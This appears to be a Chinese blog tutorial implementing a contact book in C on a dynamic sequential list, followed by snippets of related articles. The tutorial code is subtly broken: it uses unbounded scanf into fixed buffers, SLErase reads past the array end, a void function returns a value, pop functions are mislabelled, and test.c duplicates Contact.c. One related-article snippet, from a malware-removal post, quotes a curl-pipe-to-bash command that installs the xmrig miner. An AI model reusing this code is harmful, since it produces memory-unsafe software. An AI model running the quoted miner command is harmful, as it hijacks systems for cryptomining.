数据结构——通讯录(顺序表的实战项目)
(—).通讯录的功能
大家应该都十分了解通讯录的功能吧,无非就是对联系人的增添删除,还有信息的修改,并且联系人信息要包含名字,电话,性别,地址等。我把通讯录的功能总结如下:
1)⾄少能够存储100个⼈的通讯信息
2)能够保存⽤⼾信息:名字、性别、年龄、电话、地址等
3)增加联系⼈信息
4)删除指定联系⼈
5)查找制定联系⼈
6)修改指定联系⼈
7)显⽰联系⼈信息
接下来我们就根据以上信息进行代码的实现。
(二).通讯录的代码实现
2.1定义结构体
//通讯录头文件
#define NAME_MAX 20
#define GENDER_MAX 10
#define AGE_MAX 100
#define TEL_MAX 20
#define ADDRESS_MAX 20//定义联系人数据结构
//名字 性别 年龄 电话 地址
typedef struct personInfo
{char name[NAME_MAX];char gender[GENDER_MAX];int age;char tel[TEL_MAX];char address[ADDRESS_MAX];}peoInfo;
2.2通讯录的初始化
//通讯录的初始化,实际上就是顺序表的初始化,这里的con就是sl
void ContactInit(Contact* con)
{SLInit(con);
}//这里通讯录的初始化实际上就是顺序表的初始化
//顺序表初始化
void SLInit(SL* s)
{s->arr = NULL;s->size = s->capacity = 0;
}
2.3通讯录的销毁
//通讯录的销毁
void ContactDestory(Contact* con)
{SLDestroy(con);
}//同样这里通讯录的销毁实际上就是顺序表的销毁//顺序表的销毁
void SLDestroy(SL* ps)
{if (ps->arr != NULL){free(ps->arr);}ps->arr = NULL;ps->capacity = ps->size = 0;
}
2.4通讯录的添加数据
//通讯录的添加数据
void ContactAdd(Contact* con)
{//获取用户输入的内容:名字 性别 年龄 电话 地址peoInfo Info;printf("请输入要添加的联系人的名字:\n");scanf("%s", Info.name);printf("请输入要添加的联系人的性别:\n");scanf("%s", Info.gender);printf("请输入要添加的联系人的年龄:\n");scanf("%d", &Info.age);printf("请输入要添加的联系人的电话:\n");scanf("%s", Info.tel);printf("请输入要添加的联系人的地址:\n");scanf("%s", Info.address);//往通讯录中添加联系人数据SLPushBack(con, Info);}void SLPushBack(SL* ps, SLDataType x)
{//首先要判断空间够不够assert(ps);//断言ps不为空指针SLCheckcapacity(ps);/*ps->arr[ps->size] = x;ps->size++;*/ps->arr[ps->size++] = x;
}//判断内存空间够不够
void SLCheckcapacity(SL* ps)
{if (ps->size == ps->capacity){//三目表达式int newcapacity = ps->capacity == 0 ? 4 : 2 * ps->capacity;//对顺序表进行成倍的扩充SLDataType* tmp = (SLDataType*)realloc(ps->arr, newcapacity * sizeof(SLDataType));if (tmp == NULL){perror("ralloc fail!");return 1;}ps->arr = tmp;ps->capacity = newcapacity;}
}
当然这里进行通讯录数据的添加我们使用顺序表的头插,尾插,在任意位置插入都是可以的,这里我选择的尾插。
2.5通讯录的删除数据
//通讯录的删除数据
void ContactDel(Contact* con)
{//要删除的信息必须要存在,才能进行删除操作char name[NAME_MAX];printf("请输入要删除联系人姓名:");scanf("%s", name);int Find=Findbyname(con, name);if (Find < 0){printf("要删除的信息不存在!\n");return;}SLErase(con, Find);printf("删除成功!\n");}
//在任意位置删除
void SLErase(SL* ps, int pos){assert(ps);assert(pos >= 0 && pos < ps->size);for (int i = pos; i < ps->size; i++){ps->arr[i] = ps->arr[i + 1];}ps->size--;
}
2.6通讯录的修改
//通讯录的修改
void ContactModify(Contact* con)
{char name[NAME_MAX];printf("请输入要修改用户名的名字:\n");scanf("%s", name);int Find = Findbyname(con, name);if (Find < 0){printf("要删除的信息不存在!\n");return;}printf("请输入新的名字:\n");scanf("%s", con->arr[Find].name);printf("请输入新的性别:\n");scanf("%s", con->arr[Find].gender);printf("请输入新的年龄:\n");scanf("%d", &con->arr[Find].age);printf("请输入新的电话:\n");scanf("%s", con->arr[Find].tel);printf("请输入新的地址:\n");scanf("%s", con->arr[Find].address);}Findbyname(Contact* con,char name[])
{for (int i = 0; i < con->size; i++){if (0 == strcmp(con->arr[i].name, name)){return i;}}return -1;}
2.7通讯录的查找
Findbyname(Contact* con,char name[])
{for (int i = 0; i < con->size; i++){if (0 == strcmp(con->arr[i].name, name)){return i;}}return -1;}//通讯录的查找
void ContactFind(Contact* con)
{char name[NAME_MAX];printf("请输入要查找联系人的名字:\n");scanf("%s", name);int Find = Findbyname(con, name);if (Find < 0){printf("要删除的信息不存在!\n");return;}printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");printf("%3s %5s %4d %4s %4s\n",con->arr[Find].name,con->arr[Find].gender,con->arr[Find].age,con->arr[Find].tel,con->arr[Find].address);}
2.8展示通讯录数据
//展示通讯录数据
void ContactShow(Contact* con)
{printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");for (int i = 0; i < con->size; i++){printf("%3s %5s %4d %4s %4s\n",con->arr[i].name,con->arr[i].gender,con->arr[i].age,con->arr[i].tel,con->arr[i].address);}
}
2.9通讯录代码实现汇总
SqList.h:
#pragma once
//SeqList.h进行顺序表结构的声明
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
#include"Contact.h"
//创建结构体
//静态结构体
//struct seqlist
//{
// int arr[100];
// int size;
//};typedef peoInfo SLDataType;
//动态结构体
typedef struct SeqList
{SLDataType* arr;int size;//有效数据的个数int capacity;//顺序表的大小
}SL;//初始化顺序表
void SLInit(SL* ps);
//销毁顺序表
void SLDestroy(SL* ps);
//打印代码
void SLPrint(SL ps);//头部插⼊删除 / 尾部插⼊删除//尾部插入
void SLPushBack(SL* ps, SLDataType x);
//头部插入
void SLPushFront(SL* ps, SLDataType x);//头部删除
void SLPopFront(SL* ps);
//尾部删除
void SLPopBack(SL* ps);
//任意位置插入
void SLInsert(SL* ps, int pos, SLDataType x);
//任意位置删除
void SLErase(SL* ps, int pos);
//查找数据
int SLFind(SL* ps, SLDataType x);
Contact.h:
#pragma once
//通讯录头文件
#define NAME_MAX 20
#define GENDER_MAX 10
#define AGE_MAX 100
#define TEL_MAX 20
#define ADDRESS_MAX 20//定义联系人数据结构
//名字 性别 年龄 电话 地址
typedef struct personInfo
{char name[NAME_MAX];char gender[GENDER_MAX];int age;char tel[TEL_MAX];char address[ADDRESS_MAX];}peoInfo;//要用到顺序表的相关方法,对通讯录的操作实际上是对顺序表进行操作
//给顺序表起个名字叫通讯录
typedef struct SeqList Contact;//重新对顺序表起名叫通讯录//通讯录实现的方法//通讯录的初始化
void ContactInit(Contact* con);
//通讯录的销毁
void ContactDestory(Contact* con);
//通讯录的添加数据
void ContactAdd(Contact* con);
//通讯录的删除数据
void ContactDel(Contact* con);
//通讯录的修改
void ContactModify(Contact* con);
//通讯录的查找
void ContactFind(Contact* con);
//展示通讯录数据
void ContactShow(Contact* con);
SqList.c:
//进行顺序表的实现
#include"SeqList.h";
//顺序表初始化
void SLInit(SL* s)
{s->arr = NULL;s->size = s->capacity = 0;
}
//顺序表的销毁
void SLDestroy(SL* ps)
{if (ps->arr != NULL){free(ps->arr);}ps->arr = NULL;ps->capacity = ps->size = 0;
}//判断内存空间够不够
void SLCheckcapacity(SL* ps)
{if (ps->size == ps->capacity){//三目表达式int newcapacity = ps->capacity == 0 ? 4 : 2 * ps->capacity;//对顺序表进行成倍的扩充SLDataType* tmp = (SLDataType*)realloc(ps->arr, newcapacity * sizeof(SLDataType));if (tmp == NULL){perror("ralloc fail!");return 1;}ps->arr = tmp;ps->capacity = newcapacity;}
}//尾插
void SLPushBack(SL* ps, SLDataType x)
{//首先要判断空间够不够assert(ps);//断言ps不为空指针SLCheckcapacity(ps);/*ps->arr[ps->size] = x;ps->size++;*/ps->arr[ps->size++] = x;
}//头插
void SLPushFront(SL* ps, SLDataType x)
{assert(ps);SLCheckcapacity(ps);for (int i = ps->size; i > 0; i--){ps->arr[i] = ps->arr[i - 1];}ps->arr[0] = x;ps->size++;
}
//打印
//void SLPrint(SL ps)
//{
// for (int i = 0; i < ps.size; i++)
// {
// printf("%d ", ps.arr[i]);
// }
// printf("\n");
//}
//尾删
void SLPopFront(SL* ps)
{assert(ps);assert(ps->size);/*ps->arr[ps->size - 1] = -1;*/--ps->size;
}//头删
void SLPopBack(SL* ps)
{assert(ps);assert(ps->size);for (int i = 0; i < ps->size - 1; i++){ps->arr[i] = ps->arr[i + 1];}--ps->size;
}//任意位置插入
void SLInsert(SL* ps, int pos, SLDataType x)
{assert(ps);assert(pos >= 0 && pos <= ps->size);SLCheckcapacity(ps);for (int i = ps->size; i > pos; i--){ps->arr[i] = ps->arr[i - 1];}ps->arr[pos] = x;ps->size++;}//在任意位置删除
void SLErase(SL* ps, int pos){assert(ps);assert(pos >= 0 && pos < ps->size);for (int i = pos; i < ps->size; i++){ps->arr[i] = ps->arr[i + 1];}ps->size--;
}//查找数据
//int SLFind(SL* ps, SLDataType x)
//{
// assert(ps);
// for (int i = 0; i < ps->size; i++)
// {
// if (ps->arr[i] == x)
// {
// return i;
// }
// }
// return -1;
//}
Contact.c:
#define _CRT_SECURE_NO_WARNINGS 1#include"SeqList.h"
#include"Contact.h"//通讯录的初始化,实际上就是顺序表的初始化,这里的con就是sl
void ContactInit(Contact* con)
{SLInit(con);
}//通讯录的销毁
void ContactDestory(Contact* con)
{SLDestroy(con);
}//通讯录的添加数据
void ContactAdd(Contact* con)
{//获取用户输入的内容:名字 性别 年龄 电话 地址peoInfo Info;printf("请输入要添加的联系人的名字:\n");scanf("%s", Info.name);printf("请输入要添加的联系人的性别:\n");scanf("%s", Info.gender);printf("请输入要添加的联系人的年龄:\n");scanf("%d", &Info.age);printf("请输入要添加的联系人的电话:\n");scanf("%s", Info.tel);printf("请输入要添加的联系人的地址:\n");scanf("%s", Info.address);//往通讯录中添加联系人数据SLPushBack(con, Info);}Findbyname(Contact* con,char name[])
{for (int i = 0; i < con->size; i++){if (0 == strcmp(con->arr[i].name, name)){return i;}}return -1;}
//通讯录的删除数据
void ContactDel(Contact* con)
{//要删除的信息必须要存在,才能进行删除操作char name[NAME_MAX];printf("请输入要删除联系人姓名:");scanf("%s", name);int Find=Findbyname(con, name);if (Find < 0){printf("要删除的信息不存在!\n");return;}SLErase(con, Find);printf("删除成功!\n");}//展示通讯录数据
void ContactShow(Contact* con)
{printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");for (int i = 0; i < con->size; i++){printf("%3s %5s %4d %4s %4s\n",con->arr[i].name,con->arr[i].gender,con->arr[i].age,con->arr[i].tel,con->arr[i].address);}
}//通讯录的修改
void ContactModify(Contact* con)
{char name[NAME_MAX];printf("请输入要修改用户名的名字:\n");scanf("%s", name);int Find = Findbyname(con, name);if (Find < 0){printf("要删除的信息不存在!\n");return;}printf("请输入新的名字:\n");scanf("%s", con->arr[Find].name);printf("请输入新的性别:\n");scanf("%s", con->arr[Find].gender);printf("请输入新的年龄:\n");scanf("%d", &con->arr[Find].age);printf("请输入新的电话:\n");scanf("%s", con->arr[Find].tel);printf("请输入新的地址:\n");scanf("%s", con->arr[Find].address);}
//通讯录的查找
void ContactFind(Contact* con)
{char name[NAME_MAX];printf("请输入要查找联系人的名字:\n");scanf("%s", name);int Find = Findbyname(con, name);if (Find < 0){printf("要删除的信息不存在!\n");return;}printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");printf("%3s %5s %4d %4s %4s\n",con->arr[Find].name,con->arr[Find].gender,con->arr[Find].age,con->arr[Find].tel,con->arr[Find].address);}
test.c:
#define _CRT_SECURE_NO_WARNINGS 1#include"SeqList.h"
#include"Contact.h"//通讯录的初始化,实际上就是顺序表的初始化,这里的con就是sl
void ContactInit(Contact* con)
{SLInit(con);
}//通讯录的销毁
void ContactDestory(Contact* con)
{SLDestroy(con);
}//通讯录的添加数据
void ContactAdd(Contact* con)
{//获取用户输入的内容:名字 性别 年龄 电话 地址peoInfo Info;printf("请输入要添加的联系人的名字:\n");scanf("%s", Info.name);printf("请输入要添加的联系人的性别:\n");scanf("%s", Info.gender);printf("请输入要添加的联系人的年龄:\n");scanf("%d", &Info.age);printf("请输入要添加的联系人的电话:\n");scanf("%s", Info.tel);printf("请输入要添加的联系人的地址:\n");scanf("%s", Info.address);//往通讯录中添加联系人数据SLPushBack(con, Info);}Findbyname(Contact* con,char name[])
{for (int i = 0; i < con->size; i++){if (0 == strcmp(con->arr[i].name, name)){return i;}}return -1;}
//通讯录的删除数据
void ContactDel(Contact* con)
{//要删除的信息必须要存在,才能进行删除操作char name[NAME_MAX];printf("请输入要删除联系人姓名:");scanf("%s", name);int Find=Findbyname(con, name);if (Find < 0){printf("要删除的信息不存在!\n");return;}SLErase(con, Find);printf("删除成功!\n");}//展示通讯录数据
void ContactShow(Contact* con)
{printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");for (int i = 0; i < con->size; i++){printf("%3s %5s %4d %4s %4s\n",con->arr[i].name,con->arr[i].gender,con->arr[i].age,con->arr[i].tel,con->arr[i].address);}
}//通讯录的修改
void ContactModify(Contact* con)
{char name[NAME_MAX];printf("请输入要修改用户名的名字:\n");scanf("%s", name);int Find = Findbyname(con, name);if (Find < 0){printf("要删除的信息不存在!\n");return;}printf("请输入新的名字:\n");scanf("%s", con->arr[Find].name);printf("请输入新的性别:\n");scanf("%s", con->arr[Find].gender);printf("请输入新的年龄:\n");scanf("%d", &con->arr[Find].age);printf("请输入新的电话:\n");scanf("%s", con->arr[Find].tel);printf("请输入新的地址:\n");scanf("%s", con->arr[Find].address);}
//通讯录的查找
void ContactFind(Contact* con)
{char name[NAME_MAX];printf("请输入要查找联系人的名字:\n");scanf("%s", name);int Find = Findbyname(con, name);if (Find < 0){printf("要删除的信息不存在!\n");return;}printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");printf("%3s %5s %4d %4s %4s\n",con->arr[Find].name,con->arr[Find].gender,con->arr[Find].age,con->arr[Find].tel,con->arr[Find].address);}
好了,各位大佬们,以上就是我对通讯录知识的全部讲解,如果有什么不对的地方还请各位大佬们指出,如果觉得小编写的还不错的话,您的免费一键三连将是对小编最大的支持!谢谢大家!后面我也一定会持续更新为大家提供更加高质量的作品!
相关文章:
数据结构——通讯录(顺序表的实战项目)
(—).通讯录的功能 大家应该都十分了解通讯录的功能吧,无非就是对联系人的增添删除,还有信息的修改,并且联系人信息要包含名字,电话,性别,地址等。我把通讯录的功能总结如下&#x…...
数据库-Redis(14)
目录 66.Redis为什么主从全量复制使用RDB而不是使用AOF? 67.Redis为什么还有无磁盘复制模式? 68.Redis为什么还会有从库的从库设计?...
Thinkphp5.0命令行创建验证器validate类
前言 最近接手了个用FastAdmin(基于tp5)写的项目,发现命令行只提供生成controller和model的命令,没有提供make:validate命令,而5.1及以上版本是有的,对于使用tp5.0框架或者基于tp5.0的第三框架(…...
人民网至顶科技:《开启智能新时代:2024中国AI大模型产业发展报告发布》
3月26日,人民网财经研究院与至顶科技联合发布《开启智能新时代:2024年中国AI大模型产业发展报告》。该报告针对AI大模型产业发展背景、产业发展现状、典型案例、挑战及未来趋势等方面进行了系统全面的梳理,为政府部门、行业从业者以及社会公…...
AI大模型探索之路-应用篇13:企业AI大模型选型指南
目录 前言 一、概述 二、有哪些主流模型? 三、模型参数怎么选? 四、参数有什么作用? 五、CPU和GPU怎么选? 六、GPU和显卡有什么关系? 七、GPU主流厂商有哪些? 1、NVIDIA芯片怎么选? 2、…...
【安全】查杀linux上c3pool挖矿病毒xmrig
挖矿平台:猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…...
车载测试:UDS之BootLoader刷写
BootLoader刷写 本文章是花费3小时结合多个项目实践总结和整体出来的,欢迎大家交流! BootLoader刷写章节 ①:预编程步骤流程流程图 1.1 概述 1.2 流程步骤描述 1)整车ECU进入扩展会话 2)刷…...
OpenHarmony实战开发-MpChart图表实现案例。
介绍 MpChart是一个包含各种类型图表的图表库,主要用于业务数据汇总,例如销售数据走势图,股价走势图等场景中使用,方便开发者快速实现图表UI。本示例主要介绍如何使用三方库MpChart实现柱状图UI效果。如堆叠数据类型显示…...
brpc: bthread使用
使用bthread并发编程 #include <gflags/gflags.h> #include <butil/logging.h> #include <bthread/bthread.h>static void* func(void* args) {std::string* num static_cast<std::string*>(args);for(int i 0; i < 5; i) {LOG(INFO) << *…...
H.265视频直播点播录像EasyPlayer.js流媒体播放器用户常见问题及解答
EasyPlayer属于一款高效、精炼、稳定且免费的流媒体播放器,可支持多种流媒体协议播放,无须安装任何插件,起播快、延迟低、兼容性强,使用非常便捷。 今天我们来汇总下用户常见的几个问题及解答。 1、EasyPlayer.js播放多路H.265视…...
蓝桥杯杂题选做
海盗分金币 题目链接:1.海盗分金币 - 蓝桥云课 (lanqiao.cn) 题解:海盗分金币-Cheery的代码 - 蓝桥云课 (lanqiao.cn) 思路:倒着想就行。 等腰三角形 题目链接:1.等腰三角形 - 蓝桥云课 (lanqiao.cn) 题解:等腰三…...
【HTML】简单制作一个分形动画
目录 前言 开始 HTML部分 效果图 编辑编辑编辑编辑总结 前言 无需多言,本文将详细介绍一段代码,具体内容如下: 开始 首先新建文件夹,创建一个文本文档,其中HTML的文件名改为[index.html]&a…...
JVM修炼之路【11】- 解决内存溢出、内存泄漏 以及相关案例
前面的10篇 都是基础的知识,包括类加载的过程 类加载的细节,jvm内存模型 垃圾回收 等等, 这一篇我们开始实战了解一下 各种疑难杂症:怎么监控 怎么发现 怎么解决 内存溢出 内存泄漏 这两个概念在垃圾回收器里面已经讲过了&#…...
Java面试题:描述Java 17中的密封接口及其用途
Java 17是继Java 11和Java 16之后的又一个长期支持(LTS)版本,它于2021年9月发布。在Java 17中,一个重要的新特性是密封接口(Sealed Interfaces),这是对Java接口的增强,它允许接口有更…...
C++11的新特性
C11是由C标准委员会指定的语言规范。相比于C98/03,C11则带来了数量可观的变化,其中包含了约140 个新特性,以及对C03标准中约600个缺陷的修正,C11能更好地用于系统开发和库开发、语法更加泛华和简单化、更加稳定和安全,…...
【C语言__动态内存管理__复习篇6】
目录 前言 一、动态内存管理 二、动态内存函数 2.1 malloc 2.2 free 2.3 calloc 2.4 realloc 三、动态内存常见的6个使用错误 3.1 接收malloc/calloc返回的参数后未及时检查是否为NULL 3.2 越界访问动态内存空间 3.3 对非动态开辟的内存使用free释放 3.4 使用free只释放了…...
C语言 | Leetcode C语言题解之第30题串联所有单词的子串
题目: 题解: typedef struct {char key[32];int val;UT_hash_handle hh; } HashItem;int* findSubstring(char * s, char ** words, int wordsSize, int* returnSize){ int m wordsSize, n strlen(words[0]), ls strlen(s);int *res (int *)mall…...
大数据dolphinscheduler 本地容器化安装
Minio 容器安装 docker run -p 9000:9000 -p 9090:9090 --name minio -d -e "MINIO_ACCESS_KEYminioadmin" -e "MINIO_SECRET_KEYminioadmin" -v D:\SF\DOCKER\minio\data:/data -v D:\SF\DOCKER\minio\config:/root/.minio minio/minio server /da…...
简单的车牌号识别
目录 处理流程与界面各接口编写时遇到的一些问题上传图片识别结果标签显示中文 处理流程与界面 首先点击“上传图片”按钮,可以选择文件夹中含有汽车车牌的图片,并显示在“图片框”中。 点击“检测车牌”按钮,会先对“图片框”中即含有汽车车…...
openGauss学习笔记-261 openGauss性能调优-使用Plan Hint进行调优-将部分Error降级为Warning的Hint
文章目录 openGauss学习笔记-261 openGauss性能调优-使用Plan Hint进行调优-将部分Error降级为Warning的Hint261.1 功能描述261.2 语法格式261.3 示例261.3.1 忽略非空约束261.3.2 忽略唯一约束261.3.3 忽略分区表无法匹配到合法分区261.3.4 更新/插入值向目标列类型转换失败 o…...
使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具,相比原生 Python 生态(如 pip 虚拟环境)有许多独特优势,尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处: 一、一站式环境管理:…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...
练习(含atoi的模拟实现,自定义类型等练习)
一、结构体大小的计算及位段 (结构体大小计算及位段 详解请看:自定义类型:结构体进阶-CSDN博客) 1.在32位系统环境,编译选项为4字节对齐,那么sizeof(A)和sizeof(B)是多少? #pragma pack(4)st…...
苍穹外卖--缓存菜品
1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得,如果用户端访问量比较大,数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据,减少数据库查询操作。 缓存逻辑分析: ①每个分类下的菜品保持一份缓存数据…...
嵌入式学习笔记DAY33(网络编程——TCP)
一、网络架构 C/S (client/server 客户端/服务器):由客户端和服务器端两个部分组成。客户端通常是用户使用的应用程序,负责提供用户界面和交互逻辑 ,接收用户输入,向服务器发送请求,并展示服务…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
PostgreSQL——环境搭建
一、Linux # 安装 PostgreSQL 15 仓库 sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-$(rpm -E %{rhel})-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装之前先确认是否已经存在PostgreSQL rpm -qa | grep postgres# 如果存在࿰…...
WebRTC从入门到实践 - 零基础教程
WebRTC从入门到实践 - 零基础教程 目录 WebRTC简介 基础概念 工作原理 开发环境搭建 基础实践 三个实战案例 常见问题解答 1. WebRTC简介 1.1 什么是WebRTC? WebRTC(Web Real-Time Communication)是一个支持网页浏览器进行实时语音…...
永磁同步电机无速度算法--基于卡尔曼滤波器的滑模观测器
一、原理介绍 传统滑模观测器采用如下结构: 传统SMO中LPF会带来相位延迟和幅值衰减,并且需要额外的相位补偿。 采用扩展卡尔曼滤波器代替常用低通滤波器(LPF),可以去除高次谐波,并且不用相位补偿就可以获得一个误差较小的转子位…...
